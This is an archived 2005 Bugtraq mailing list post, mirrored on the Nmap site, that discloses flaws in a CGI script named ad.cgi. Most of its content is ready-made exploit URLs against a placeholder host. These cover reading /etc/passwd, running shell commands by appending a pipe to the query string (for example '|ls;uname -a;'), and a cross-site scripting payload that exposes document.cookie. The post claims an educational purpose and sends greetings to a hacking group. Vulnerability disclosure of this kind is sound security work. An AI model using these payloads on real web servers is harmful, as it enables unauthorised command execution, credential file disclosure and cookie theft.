Bugtraq: remote command execution in ad.cgi script

Nmap Security Scanner

Intro

Ref Guide

Install Guide

Download

Changelog

Book

Docs
Security Lists

Bugtraq

Basics

More
Security Tools

More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:

Bugtraq mailing list archives

remote command execution in ad.cgi script

From: fireboy fireboy <fireboynet () webmails com>
Date: 24 Apr 2005 21:06:47 -0000



Tunis 24/04/2005
BUG found by fireboy
fireboy () webmails com



THERE ARE SOME BUGS IN  ad.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM 
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE 


1)file showing
http://www.target.com/cgi-bin/ad.cgi?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/ad.cgi?|command

3)CSS
www.target.com/cgi-bin/ad.cgi?&lt;script&gt;alert(document.cookie)&lt;/script&gt;

ex:
http://www.target.com/cgi-bin/ad.cgi?|ls;uname -a;



greetz to all magattack members www.magattack.tk

By Date By Thread

Current thread:

remote command execution in ad.cgi script fireboy fireboy (Apr 25)